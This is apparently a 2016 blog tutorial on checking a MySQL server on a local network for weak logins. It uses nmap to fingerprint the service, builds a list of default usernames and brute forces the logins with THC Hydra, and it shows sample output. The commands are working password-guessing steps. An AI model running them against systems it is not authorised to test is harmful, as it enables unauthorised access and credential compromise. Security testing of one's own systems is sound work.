How to brute force a MySQL DB

December 29, 2016

There are many articles on how to use Metasploit or some other mighty stuff that is fine if you work with it all day. But if you just found a MySQL server on an appliance listening in your network and need to do a fast small security check there is something easier. First find the MySQL server and check the version – maybe there is a exploit available and you don’t need to try passwords. The first choice for this is nmap, just install it with sudo apt-get install nmap and call it like this:

# nmap -sV -O <IP>

Starting Nmap 7.01 ( https://nmap.org ) at 2016-xx-xx xx:xx CET
Nmap scan report for hostname (<IP>)
Host is up (0.020s latency).
Not shown: 986 closed ports
PORT STATE SERVICE VERSION
....
3306/tcp open mysql MySQL 5.6.33-79.0-log
....
Device type: general purpose
Running: Linux 3.X|4.X
OS CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4
OS details: Linux 3.2 - 4.0
Network Distance: x hops

You need to call it as root with these options. The -sV shows the versions of the listening services and -O guesses the operating system.  For brute forcing we need 3 things

• a list of usernames to try
• a list of passwords to try
• a software that does the trying

The first is for one thing quite easy as the default users are known and you maybe know something about the system .. like software name or vendor name or the online download-able manual shows the username. So lets write the file:

$ cat > usernames.txt
admin
root
mysql
db
test
user

Now we need a list of likely passwords .. sure we could think about some by our own, but it is easier to download them. A good source is Skull Security. Choose your list and download it and extract it with bunzip2 xxxxx.txt.bz2. Now we only need the software … we’ll use THC Hydra, but you don’t need to download it there and compile it, as Ubuntu ships with it. Just type sudo apt-get install hydra. Now we just need to call it.

$ hydra -L usernames.txt -P xxxxx.txt <ip> mysql
Hydra v8.1 (c) 2014 by van Hauser/THC - Please do not use in military or secret service organizations, or for illegal purposes.
Hydra (http://www.thc.org/thc-hydra) starting at 2016-12-29 14:19:38
[INFO] Reduced number of tasks to 4 (mysql does not like many parallel connections)
[DATA] max 4 tasks per 1 server, overall 64 tasks, 86066388 login tries (l:6/p:14344398), ~336196 tries per task
[DATA] attacking service mysql on port 3306
[STATUS] 833.00 tries/min, 833 tries in 00:01h, 86065555 todo in 1721:60h, 4 active
.....

I think this password list is too long 😉 Choose a shorter one 😉